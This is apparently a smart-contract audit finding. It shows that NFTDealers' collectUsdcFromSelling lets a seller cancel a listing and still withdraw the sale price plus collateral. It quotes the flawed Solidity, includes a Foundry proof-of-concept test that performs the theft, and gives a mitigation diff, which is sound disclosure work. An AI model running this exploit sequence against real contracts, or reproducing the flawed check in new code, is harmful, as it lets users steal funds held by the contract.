Seller can call collectUsdcFromSelling without selling the NFT
Description
After selling a listed NFT, the seller can call **NFTDealers::collectUsdcFromSelling**to get back their collateral as well as the sales price minus fees. However, nothing stops a malicious user from calling this function after simply cancelling their listing, as the collectUsdcFromSellingfunction simply validates that the listing is not active.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:
Impact:
Malicious lister can steal usdc from the NFTDealercontract
Proof of Concept
The following test shows a malicious user listing an NFT, cancelling the listing, and then sucessfully calling collectUsdcFromSellingto steal usdc from the contract.
function testCollectUSDCForCancelledListing() public revealed {
deal(address(usdc), address(nftDealers), 1000e6);
uint256 tokenId = 1;
mintNFTForTesting();
vm.startBroadcast(userWithCash);
nftDealers.list(tokenId, 1000e6);
vm.stopBroadcast();
assertEq(nftDealers.totalActiveListings(), 1);
assertEq(nftDealers.totalListings(), 1);
vm.startBroadcast(userWithCash);
nftDealers.cancelListing(tokenId);
nftDealers.collectUsdcFromSelling(tokenId);
vm.stopBroadcast();
(,,,, bool isActive) = nftDealers.s_listings(1);
assertFalse(isActive);
assertEq(usdc.balanceOf(address(nftDealers)), 10e6);
assertEq(nftDealers.collateralForMinting(tokenId), 0);
assertEq(nftDealers.ownerOf(tokenId), userWithCash);
assertEq(usdc.balanceOf(userWithCash), 1010e6);
assertEq(nftDealers.balanceOf(userWithCash), 1);
assertEq(nftDealers.balanceOf(address(nftDealers)), 0);
assertEq(nftDealers.totalActiveListings(), 0);
assertEq(nftDealers.totalListings(), 1);
assertEq(nftDealers.totalMinted(), 1);
}
Recommended Mitigation
The collectUsdcFromSellingfunction should verify that the nft was actually sold, by tracking the status in a more fine-grained way than just the boolean isActive. Also, _listingId should be unique per listing, not just per NFT tokenId, as the same NFT can be listed multiple times.
+ enum Status { INACTIVE, ACTIVE, SOLD }
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
- bool isActive;
+ Status status;
}
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = Status.SOLD;
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = Status.INACTIVE;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.status == Status.SOLD, "Listing must be sold to collect USDC");
+ listing.status = Status.INACTIVE;
+ s_listings[_listingId] = listing;
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
